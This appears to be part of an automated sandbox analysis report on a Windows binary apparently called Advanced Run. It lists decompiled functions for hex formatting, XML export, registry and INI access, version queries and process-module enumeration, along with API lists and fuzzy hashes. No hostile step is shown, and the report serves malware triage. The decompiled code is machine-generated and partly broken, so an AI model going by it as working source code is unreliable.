Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Time$Formatwcscatwcscpy$DateFileSystem
String ID:
API String ID: 1331804452-0
Opcode ID: bcd4d34c10f2eb1284b4297ba1ca8defa1a10ff7f0e8a8f4937edf2a6ab2f069
Instruction ID: 27f756489727a3478797c508db698983d473b6c4fef27ef98cb5a9ae0a7a07e8
Opcode Fuzzy Hash: bcd4d34c10f2eb1284b4297ba1ca8defa1a10ff7f0e8a8f4937edf2a6ab2f069
Instruction Fuzzy Hash: 951160B2840119EBDB11AB94DC85EFE776CFB44304F04457ABA05B6090D774AA858BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00404FE0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00404FE0(wchar_t* __edi, intOrPtr _a4, signed int _a8) {
				void _v514;
				long _v516;
				wchar_t* _t34;
				signed int _t35;
				void* _t36;
				void* _t37;

				_t34 = __edi;
				_v516 = _v516 & 0x00000000;
				memset( &_v514, 0, 0x1fc);
				 *__edi =  *__edi & 0x00000000;
				_t37 = _t36 + 0xc;
				_t35 = 0;
				do {
					_push( *(_t35 + _a4) & 0x000000ff);
					_push(L"%2.2X");
					_push(0xff);
					_push( &_v516);
					L0040B1EC();
					_t37 = _t37 + 0x10;
					if(_t35 > 0) {
						wcscat(_t34, " ");
					}
					if(_a8 > 0) {
						asm("cdq");
						if(_t35 % _a8 == 0) {
							wcscat(_t34, L"  ");
						}
					}
					wcscat(_t34,  &_v516);
					_t35 = _t35 + 1;
				} while (_t35 < 0x80);
				return _t34;
			}

0x00404fe0
0x00404fe9
0x00405000
0x00405005
0x00405009
0x0040500c
0x0040500e
0x00405015
0x00405016
0x00405021
0x00405026
0x00405027
0x0040502c
0x00405031
0x00405039
0x0040503f
0x00405044
0x00405048
0x0040504e
0x00405056
0x0040505c
0x0040504e
0x00405065
0x0040506a
0x00405072
0x00405079

APIs

memset.MSVCRT ref: 00405000
_snwprintf.MSVCRT ref: 00405027
wcscat.MSVCRT ref: 00405039
wcscat.MSVCRT ref: 00405056
wcscat.MSVCRT ref: 00405065

Strings

%2.2X, xrefs: 00405016

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcscat$_snwprintfmemset
String ID: %2.2X
API String ID: 2521778956-791839006
Opcode ID: 34c89676a934ea4f3d268c8f85442ed9bc59df14bbff203197c18b8f91f69b12
Instruction ID: 93e5f8641594d75a0278127c9762c797554eaad4f41234795e116b90c7bd1a0f
Opcode Fuzzy Hash: 34c89676a934ea4f3d268c8f85442ed9bc59df14bbff203197c18b8f91f69b12
Instruction Fuzzy Hash: FA01B57394072566E72067569C86BBB33ACEB41714F10407BFD14B91C2EB7CDA444ADC

Uniqueness

Uniqueness Score: -1.00%

Function 00407D80, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E00407D80(intOrPtr* __ecx, intOrPtr _a4) {
				void _v514;
				char _v516;
				void _v1026;
				char _v1028;
				void* __esi;
				intOrPtr* _t16;
				void* _t19;
				intOrPtr* _t29;
				char* _t31;

				_t29 = __ecx;
				_v516 = 0;
				memset( &_v514, 0, 0x1fc);
				_v1028 = 0;
				memset( &_v1026, 0, 0x1fc);
				_t16 = _t29;
				if( *((intOrPtr*)(_t29 + 0x24)) == 0) {
					_push(L"<?xml version=\"1.0\" encoding=\"ISO-8859-1\" ?>\r\n");
				} else {
					_push(L"<?xml version=\"1.0\" ?>\r\n");
				}
				E00407343(_t16);
				_t19 =  *((intOrPtr*)( *_t29 + 0x24))(_a4);
				_t31 =  &_v516;
				E00407250(_t31, _t19);
				_push(_t31);
				_push(L"<%s>\r\n");
				_push(0xff);
				_push( &_v1028);
				L0040B1EC();
				return E00407343(_t29, _a4,  &_v1028);
			}

0x00407d9c
0x00407d9e
0x00407da5
0x00407db3
0x00407dba
0x00407dc5
0x00407dc7
0x00407dd0
0x00407dc9
0x00407dc9
0x00407dc9
0x00407dd8
0x00407de1
0x00407de5
0x00407deb
0x00407df2
0x00407df3
0x00407dfe
0x00407e03
0x00407e04
0x00407e21

APIs

memset.MSVCRT ref: 00407DA5
memset.MSVCRT ref: 00407DBA
_snwprintf.MSVCRT ref: 00407E04

Strings

<?xml version="1.0" encoding="ISO-8859-1" ?>, xrefs: 00407DD0
<?xml version="1.0" ?>, xrefs: 00407DC9
<%s>, xrefs: 00407DF3

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$_snwprintf
String ID: <%s>$<?xml version="1.0" ?>$<?xml version="1.0" encoding="ISO-8859-1" ?>
API String ID: 3473751417-2880344631
Opcode ID: 9364f374d7518812a9165f05dfc0ba647ea39d808db9dc8e90e0893e61590c4e
Instruction ID: f522b8c77a058770ba0888167d6ec5df55c59d6d485a4440fbbc7c77367e2349
Opcode Fuzzy Hash: 9364f374d7518812a9165f05dfc0ba647ea39d808db9dc8e90e0893e61590c4e
Instruction Fuzzy Hash: E0019BB1E402197AD710A695CC45FBE766CEF44344F0001FBBA08F3191D738AE4586ED

Uniqueness

Uniqueness Score: -1.00%

Function 00403B3C, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 52
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00403B3C(intOrPtr _a4) {
				void _v526;
				char _v528;
				void _v2574;
				char _v2576;
				void* __edi;
				intOrPtr _t29;

				_v2576 = 0;
				memset( &_v2574, 0, 0x7fe);
				_v528 = 0;
				memset( &_v526, 0, 0x208);
				E00404AD9( &_v528);
				_push( &_v528);
				_push(L"\"%s\" /EXEFilename \"%%1\"");
				_push(0x3ff);
				_push( &_v2576);
				L0040B1EC();
				_t37 = _a4 + 0xa68;
				E00404923(0x104, _a4 + 0xa68, L"exefile");
				E00404923(0x104, _a4 + 0xc72, L"Advanced Run");
				E00404923(0x3ff, _t37 + 0x414,  &_v2576);
				_t29 = E0040467A(_t37);
				 *((intOrPtr*)(_a4 + 0x167c)) = _t29;
				return _t29;
			}

0x00403b56
0x00403b5d
0x00403b6f
0x00403b76
0x00403b82
0x00403b8d
0x00403b8e
0x00403b99
0x00403b9e
0x00403b9f
0x00403ba7
0x00403bb9
0x00403bce
0x00403be5
0x00403bef
0x00403bf8
0x00403c00

APIs

memset.MSVCRT ref: 00403B5D
memset.MSVCRT ref: 00403B76

Part of subcall function 00404AD9: GetModuleFileNameW.KERNEL32(00000000,e/@,00000104,00402F65,00000000,?,?,00000000), ref: 00404AE4

_snwprintf.MSVCRT ref: 00403B9F

Part of subcall function 00404923: wcslen.MSVCRT ref: 0040492A
Part of subcall function 00404923: memcpy.MSVCRT ref: 00404940

Part of subcall function 0040467A: memset.MSVCRT ref: 004046AF
Part of subcall function 0040467A: _snwprintf.MSVCRT ref: 004046CD
Part of subcall function 0040467A: RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,?,?,?,?,?,00020019), ref: 004046E6
Part of subcall function 0040467A: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,00020019), ref: 004046FA

Strings

"%s" /EXEFilename "%%1", xrefs: 00403B8E
exefile, xrefs: 00403BAD
Advanced Run, xrefs: 00403BBE

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$_snwprintf$CloseFileModuleNameOpenmemcpywcslen
String ID: "%s" /EXEFilename "%%1"$Advanced Run$exefile
API String ID: 1832587304-479876776
Opcode ID: 0a24b3981c90f53bc0afe707e01056d79404e7683c9323ccd1d0569bed7942f0
Instruction ID: c5548abdd2f98fe5b378efca96f69d72dd5acd8230f4ce7b006819db5738462c
Opcode Fuzzy Hash: 0a24b3981c90f53bc0afe707e01056d79404e7683c9323ccd1d0569bed7942f0
Instruction Fuzzy Hash: 6B11A3B29403186AD720E761CC05ACF776CDF45314F0041B6BA08B71C2D77C5B418B9E

Uniqueness

Uniqueness Score: -1.00%

Function 0040AFBE, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AFBE(void* __esi, void* _a4, wchar_t* _a8, wchar_t* _a12) {
				void* _v8;
				int _v12;
				short _v524;
				char _v1036;
				void* __edi;

				wcscpy( &_v524, L"\\StringFileInfo\\");
				wcscat( &_v524, _a8);
				wcscat( &_v524, "\\");
				wcscat( &_v524, _a12);
				if(VerQueryValueW(_a4,  &_v524,  &_v8,  &_v12) == 0) {
					return 0;
				}
				_t34 =  &_v1036;
				E00404923(0xff,  &_v1036, _v8);
				E004049A2(_t34, __esi);
				return 1;
			}

0x0040afd3
0x0040afe2
0x0040aff3
0x0040b002
0x0040b023
0x00000000
0x0040b047
0x0040b02e
0x0040b034
0x0040b03c
0x00000000

APIs

wcscpy.MSVCRT ref: 0040AFD3
wcscat.MSVCRT ref: 0040AFE2
wcscat.MSVCRT ref: 0040AFF3
wcscat.MSVCRT ref: 0040B002
VerQueryValueW.VERSION(?,?,00000000,?), ref: 0040B01C

Part of subcall function 00404923: wcslen.MSVCRT ref: 0040492A
Part of subcall function 00404923: memcpy.MSVCRT ref: 00404940

Part of subcall function 004049A2: lstrcpyW.KERNEL32 ref: 004049B7
Part of subcall function 004049A2: lstrlenW.KERNEL32(?), ref: 004049BE

Strings

\StringFileInfo\, xrefs: 0040AFCD

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcscat$QueryValuelstrcpylstrlenmemcpywcscpywcslen
String ID: \StringFileInfo\
API String ID: 393120378-2245444037
Opcode ID: 045a8df20043a551ca88a82222e75e8b313ea16cabd954164b3126fb0df90005
Instruction ID: 46c7c43bb965d9609608e4f6c2ae6b517043b349f439a100f6d085a340de75fe
Opcode Fuzzy Hash: 045a8df20043a551ca88a82222e75e8b313ea16cabd954164b3126fb0df90005
Instruction Fuzzy Hash: CF015EB290020DA6DB11EAA2CC45DDF776DDB44304F0005B6B654F2092EB3CDA969A98

Uniqueness

Uniqueness Score: -1.00%

Function 00405E8D, Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 26COMMON

Download Yara Rule

APIs

_snwprintf.MSVCRT ref: 00405EB2
wcscpy.MSVCRT ref: 00405ED5

Strings

strings, xrefs: 00405EC0
general, xrefs: 00405ECB
dialog_%d, xrefs: 00405EA6
menu_%d, xrefs: 00405E96

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintfwcscpy
String ID: dialog_%d$general$menu_%d$strings
API String ID: 999028693-502967061
Opcode ID: b64df2e80323ba4b17253e10f943d6139d2bc5d6bf6da17a7692c82038848a44
Instruction ID: fc2f6d5a95cb840c7437c23e5da9cc5f651b22c54dcbfaa02992beb3cb27aad2
Opcode Fuzzy Hash: b64df2e80323ba4b17253e10f943d6139d2bc5d6bf6da17a7692c82038848a44
Instruction Fuzzy Hash: CDE08C31A94B00B5E96423418DC7F2B2801DE90B14FB0083BF686B05C1E6BDBA0528DF

Uniqueness

Uniqueness Score: -1.00%

Function 004092F0, Relevance: 9.1, APIs: 6, Instructions: 141
COMMON

Download Yara Rule

C-Code - Quality: 38%

			E004092F0(void* __ecx, void* __eflags, long _a4, void _a8, intOrPtr _a12, long _a16, intOrPtr _a508, intOrPtr _a512, intOrPtr _a540, intOrPtr _a544, char _a552, char _a560, intOrPtr _a572, intOrPtr _a576, intOrPtr _a580, long _a1096, char _a1600, int _a1616, void _a1618, char _a2160) {
				void* _v0;
				intOrPtr _v4;
				intOrPtr _v8;
				unsigned int _v12;
				void* _v16;
				char _v20;
				char _v24;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v44;
				void* __edi;
				void* __esi;
				intOrPtr _t58;
				void* _t59;
				void* _t69;
				void* _t72;
				intOrPtr _t78;
				void _t89;
				signed int _t90;
				int _t98;
				signed int _t105;
				signed int _t106;
				void* _t109;

				_t106 = _t105 & 0xfffffff8;
				E0040B550(0x8874, __ecx);
				_t98 = 0;
				_a8 = 0;
				if(E00404BD3() == 0) {
					L12:
					__eflags =  *0x4101b8 - _t98; // 0x0
					if(__eflags != 0) {
						_t89 = _a4;
						_t58 =  *0x40f83c(8, _t89);
						__eflags = _t58 - 0xffffffff;
						_v8 = _t58;
						if(_t58 != 0xffffffff) {
							_v0 = 1;
							_a560 = 0x428;
							_t59 =  *0x40f834(_t58,  &_a560);
							while(1) {
								__eflags = _t59;
								if(_t59 == 0) {
									goto L18;
								}
								memset( &_a8, _t98, 0x21c);
								_a12 = _a580;
								_a8 = _t89;
								wcscpy( &_a16,  &_a1096);
								_a540 = _a576;
								_t106 = _t106 + 0x14;
								_a544 = _a572;
								_a552 = 0x428;
								_t69 = E00409510(_a8,  &_a8);
								__eflags = _t69;
								if(_t69 != 0) {
									_t59 =  *0x40f830(_v16,  &_a552);
									continue;
								}
								goto L18;
							}
							goto L18;
						}
					}
				} else {
					_t109 =  *0x4101bc - _t98; // 0x0
					if(_t109 == 0) {
						goto L12;
					} else {
						_t72 = OpenProcess(0x410, 0, _a4);
						_v0 = _t72;
						if(_t72 != 0) {
							_push( &_a4);
							_push(0x8000);
							_push( &_a2160);
							_push(_t72);
							if( *0x40f840() != 0) {
								_t6 =  &_v12;
								 *_t6 = _v12 >> 2;
								_v8 = 1;
								_t90 = 0;
								if( *_t6 != 0) {
									while(1) {
										_a1616 = _t98;
										memset( &_a1618, _t98, 0x208);
										memset( &_a8, _t98, 0x21c);
										_t78 =  *((intOrPtr*)(_t106 + 0x898 + _t90 * 4));
										_t106 = _t106 + 0x18;
										_a8 = _a4;
										_a12 = _t78;
										 *0x40f838(_v16, _t78,  &_a1616, 0x104);
										E0040920A( &_v0,  &_a1600);
										_push(0xc);
										_push( &_v20);
										_push(_v4);
										_push(_v32);
										if( *0x40f844() != 0) {
											_a508 = _v32;
											_a512 = _v36;
										}
										if(E00409510(_a8,  &_v24) == 0) {
											goto L18;
										}
										_t90 = _t90 + 1;
										if(_t90 < _v44) {
											_t98 = 0;
											__eflags = 0;
											continue;
										} else {
										}
										goto L18;
									}
								}
							}
							L18:
							CloseHandle(_v16);
						}
					}
				}
				return _a8;
			}

0x004092f3
0x004092fb
0x00409303
0x00409305
0x00409310
0x00409433
0x00409433
0x00409439
0x0040943f
0x00409445
0x0040944b
0x0040944e
0x00409452
0x00409466
0x0040946e
0x00409475
0x004094f7
0x004094f7
0x004094f9
0x00000000
0x00000000
0x00409488
0x00409494
0x004094a5
0x004094a9
0x004094b5
0x004094c3
0x004094c6
0x004094d5
0x004094dc
0x004094e1
0x004094e3
0x004094f1
0x00000000
0x004094f1
0x00000000
0x004094e3
0x00000000
0x004094f7
0x00409452
0x00409316
0x00409316
0x0040931c
0x00000000
0x00409322
0x0040932b
0x00409333
0x00409337
0x00409341
0x00409342
0x0040934e
0x0040934f
0x00409358
0x0040935e
0x0040935e
0x00409363
0x0040936b
0x0040936d
0x00409377
0x00409385
0x0040938d
0x0040939d
0x004093a5
0x004093ac
0x004093b4
0x004093c5
0x004093c9
0x004093da
0x004093df
0x004093e5
0x004093e6
0x004093ea
0x004093f6
0x004093fc
0x00409407
0x00409407
0x0040941d
0x00000000
0x00000000
0x00409423
0x00409428
0x00409375
0x00409375
0x00000000
0x00000000
0x0040942e
0x00000000
0x00409428
0x00409377
0x0040936d
0x004094fb
0x004094ff
0x004094ff
0x00409337
0x0040931c
0x0040950f

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000,?,00000000,00000000,?,00408CE3,00000000,00000000), ref: 0040932B
memset.MSVCRT ref: 0040938D
memset.MSVCRT ref: 0040939D

Part of subcall function 0040920A: wcscpy.MSVCRT ref: 00409233

memset.MSVCRT ref: 00409488
wcscpy.MSVCRT ref: 004094A9
CloseHandle.KERNEL32(?,00408CE3,?,?,?,00408CE3,00000000,00000000), ref: 004094FF

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$wcscpy$CloseHandleOpenProcess
String ID:
API String ID: 3300951397-0
Opcode ID: 35b1b47fb41be2c3e4820f38a09934af673dc0f51eb17e2be69c8f32b4af62fe
Instruction ID: b0ac5d6e05c2becfea0857ee93370de63ec0533c429aeeb167529e34c4b0c205
Opcode Fuzzy Hash: 35b1b47fb41be2c3e4820f38a09934af673dc0f51eb17e2be69c8f32b4af62fe
Instruction Fuzzy Hash: AE512A71108345ABD720DF65CC88A9BB7E8FFC4304F404A3EF989A2291DB75D945CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00402EC8, Relevance: 9.0, APIs: 6, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E00402EC8(void* __ebx) {
				struct tagRECT _v20;
				struct tagPAINTSTRUCT _v84;

				GetClientRect( *(__ebx + 0x10),  &_v20);
				_v20.left = _v20.right - GetSystemMetrics(0x15);
				_v20.top = _v20.bottom - GetSystemMetrics(0x14);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				DrawFrameControl(BeginPaint( *(__ebx + 0x10),  &_v84),  &_v20, 3, 8);
				return EndPaint( *(__ebx + 0x10),  &_v84);
			}

0x00402ed7
0x00402eee
0x00402ef8
0x00402f00
0x00402f01
0x00402f05
0x00402f0a
0x00402f1a
0x00402f30

APIs

GetClientRect.USER32 ref: 00402ED7
GetSystemMetrics.USER32 ref: 00402EE5
GetSystemMetrics.USER32 ref: 00402EF1
BeginPaint.USER32(?,?), ref: 00402F0B
DrawFrameControl.USER32 ref: 00402F1A
EndPaint.USER32(?,?), ref: 00402F27

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: MetricsPaintSystem$BeginClientControlDrawFrameRect
String ID:
API String ID: 19018683-0
Opcode ID: 8c0e1e97105e41a4185fd691eb38b3eaa50651c9f1af749464abe97b92a3298f
Instruction ID: c8721ad6730a543cd54d50ae751cb56b62cc93be397439d4b1c9778783e315ec
Opcode Fuzzy Hash: 8c0e1e97105e41a4185fd691eb38b3eaa50651c9f1af749464abe97b92a3298f
Instruction Fuzzy Hash: 8C01EC72900218EFDF04DFA4DD859FE7B79FB44301F000569EA11AA195DA71A904CF90

Uniqueness

Uniqueness Score: -1.00%

Function 004079A4, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E004079A4(void* __edi, void* __esi, intOrPtr _a4, intOrPtr* _a8) {
				void _v514;
				signed short _v516;
				signed short* _t34;
				signed int _t37;
				void* _t40;
				signed short* _t44;
				void* _t46;

				_t40 = __edi;
				E00407343(__edi, _a4, L"<item>\r\n");
				_t37 = 0;
				if( *((intOrPtr*)(__edi + 0x2c)) > 0) {
					do {
						_v516 = _v516 & 0x00000000;
						memset( &_v514, 0, 0x1fc);
						E0040ADF1( *((intOrPtr*)( *_a8))( *( *((intOrPtr*)(__edi + 0x30)) + _t37 * 4),  *((intOrPtr*)(__edi + 0x60))),  *((intOrPtr*)(__edi + 0x64)));
						_t44 =  &_v516;
						E00407250(_t44,  *((intOrPtr*)( *( *((intOrPtr*)(__edi + 0x30)) + _t37 * 4) * 0x14 +  *((intOrPtr*)(__edi + 0x40)) + 0x10)));
						_t34 = _t44;
						_push(_t34);
						_push( *((intOrPtr*)(__edi + 0x64)));
						_push(_t34);
						_push(L"<%s>%s</%s>\r\n");
						_push(0x2000);
						_push( *((intOrPtr*)(__edi + 0x68)));
						L0040B1EC();
						_t46 = _t46 + 0x24;
						E00407343(__edi, _a4,  *((intOrPtr*)(__edi + 0x68)));
						_t37 = _t37 + 1;
					} while (_t37 <  *((intOrPtr*)(__edi + 0x2c)));
				}
				return E00407343(_t40, _a4, L"</item>\r\n");
			}

0x004079a4
0x004079b8
0x004079bd
0x004079c2
0x004079c5
0x004079c5
0x004079db
0x004079f7
0x00407a06
0x00407a0c
0x00407a11
0x00407a13
0x00407a14
0x00407a17
0x00407a18
0x00407a1d
0x00407a22
0x00407a25
0x00407a2a
0x00407a35
0x00407a3a
0x00407a3b
0x00407a40
0x00407a52

APIs

memset.MSVCRT ref: 004079DB

Part of subcall function 0040ADF1: memcpy.MSVCRT ref: 0040AE6E

Part of subcall function 00407250: wcscpy.MSVCRT ref: 00407255
Part of subcall function 00407250: _wcslwr.MSVCRT ref: 00407288

_snwprintf.MSVCRT ref: 00407A25

Strings

</item>, xrefs: 00407A41
<%s>%s</%s>, xrefs: 00407A18
<item>, xrefs: 004079AE

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintf_wcslwrmemcpymemsetwcscpy
String ID: <%s>%s</%s>$</item>$<item>
API String ID: 1775345501-2769808009
Opcode ID: 3db2232b312ed916784b241718d450bfb00e2b25eb8021401c0f03919c4bf03b
Instruction ID: c8ba369f0531ab1f4cd0c6f6a7ba1592bf00f2a9533aec28b16f0bdd84d8fa76
Opcode Fuzzy Hash: 3db2232b312ed916784b241718d450bfb00e2b25eb8021401c0f03919c4bf03b
Instruction Fuzzy Hash: 3D119131A40219BFDB21AB65CC86E5A7B25FF04308F00006AFD0477692C739B965DBD9

Uniqueness

Uniqueness Score: -1.00%

Function 0040467A, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 44
registryCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E0040467A(void* __edi) {
				signed int _v8;
				void* _v12;
				void* _v16;
				void _v2062;
				short _v2064;
				int _t16;

				_v8 = _v8 & 0x00000000;
				_t16 = E004043F8( &_v12, 0x20019);
				if(_t16 == 0) {
					_v2064 = _v2064 & _t16;
					memset( &_v2062, _t16, 0x7fe);
					_push(__edi + 0x20a);
					_push(L"%s\\shell\\%s");
					_push(0x3ff);
					_push( &_v2064);
					L0040B1EC();
					if(RegOpenKeyExW(_v12,  &_v2064, 0, 0x20019,  &_v16) == 0) {
						_v8 = 1;
						RegCloseKey(_v16);
					}
				}
				return _v8;
			}

0x00404683
0x00404692
0x00404699
0x0040469b
0x004046af
0x004046ba
0x004046bc
0x004046c7
0x004046cc
0x004046cd
0x004046ee
0x004046f3
0x004046fa
0x004046fa
0x004046ee
0x00404705

APIs

memset.MSVCRT ref: 004046AF
_snwprintf.MSVCRT ref: 004046CD
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,?,?,?,?,?,00020019), ref: 004046E6
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,00020019), ref: 004046FA

Strings

%s\shell\%s, xrefs: 004046BC

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseOpen_snwprintfmemset
String ID: %s\shell\%s
API String ID: 1458959524-3196117466
Opcode ID: dd937bb9006710e66f977af40412b0b6fd133ebddff1bc1205fab9b1dc2b10fe
Instruction ID: 1855bd24da60c853c30f7b3e18bb60aca338c900c60696cbbcdbf1fba26ecf92
Opcode Fuzzy Hash: dd937bb9006710e66f977af40412b0b6fd133ebddff1bc1205fab9b1dc2b10fe
Instruction Fuzzy Hash: 20011EB5D00218FADB109BD1DD45FDAB7BCEF44314F0041B6AA04F2181EB749B489BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00409D5F, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 16%

			E00409D5F(void* __ecx, wchar_t* __esi, void* __eflags, intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, WCHAR* _a16, long _a20, WCHAR* _a24) {
				signed short _v131076;

				_t25 = __esi;
				E0040B550(0x20000, __ecx);
				if(_a4 == 0) {
					return GetPrivateProfileStringW(_a8, _a12, _a16, __esi, _a20, _a24);
				} else {
					if(__esi == 0 || wcschr(__esi, 0x22) == 0) {
						_push(_a24);
					} else {
						_v131076 = _v131076 & 0x00000000;
						_push(__esi);
						_push(L"\"%s\"");
						_push(0xfffe);
						_push( &_v131076);
						L0040B1EC();
						_push(_a24);
						_push( &_v131076);
					}
					return WritePrivateProfileStringW(_a8, _a12, ??, ??);
				}
			}

0x00409d5f
0x00409d67
0x00409d70
0x00409ddb
0x00409d72
0x00409d74
0x00409db2
0x00409d84
0x00409d84
0x00409d8c
0x00409d8d
0x00409d98
0x00409d9d
0x00409d9e
0x00409da6
0x00409daf
0x00409daf
0x00409dc3
0x00409dc3

APIs

wcschr.MSVCRT ref: 00409D79
_snwprintf.MSVCRT ref: 00409D9E
WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 00409DBC
GetPrivateProfileStringW.KERNEL32 ref: 00409DD4

Strings

"%s", xrefs: 00409D8D

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: PrivateProfileString$Write_snwprintfwcschr
String ID: "%s"
API String ID: 1343145685-3297466227
Opcode ID: ba2a529124e3a207c998afa530794a8b3af16421fe15764eebdae90aacee263b
Instruction ID: cff84325bbeeabecfb89bf19508a3778b9d9768fc6139f0f3fcaa17558a1ecc1
Opcode Fuzzy Hash: ba2a529124e3a207c998afa530794a8b3af16421fe15764eebdae90aacee263b
Instruction Fuzzy Hash: BA018B3244421AFADF219F90DC45FDA3B6AEF04348F008065BA14701E3D739C921DB98

Uniqueness

Uniqueness Score: -1.00%

Function 004047D2, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 31
windowCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E004047D2(long __ecx, void* __eflags, struct HWND__* _a4) {
				char _v2052;
				short _v4100;
				void* __edi;
				long _t15;
				long _t16;

				_t15 = __ecx;
				E0040B550(0x1000, __ecx);
				_t16 = _t15;
				if(_t16 == 0) {
					_t16 = GetLastError();
				}
				E00404706(_t16,  &_v2052);
				_push( &_v2052);
				_push(_t16);
				_push(L"Error %d: %s");
				_push(0x400);
				_push( &_v4100);
				L0040B1EC();
				return MessageBoxW(_a4,  &_v4100, L"Error", 0x30);
			}

0x004047d2
0x004047da
0x004047e0
0x004047e4
0x004047ec
0x004047ec
0x004047f5
0x00404800
0x00404801
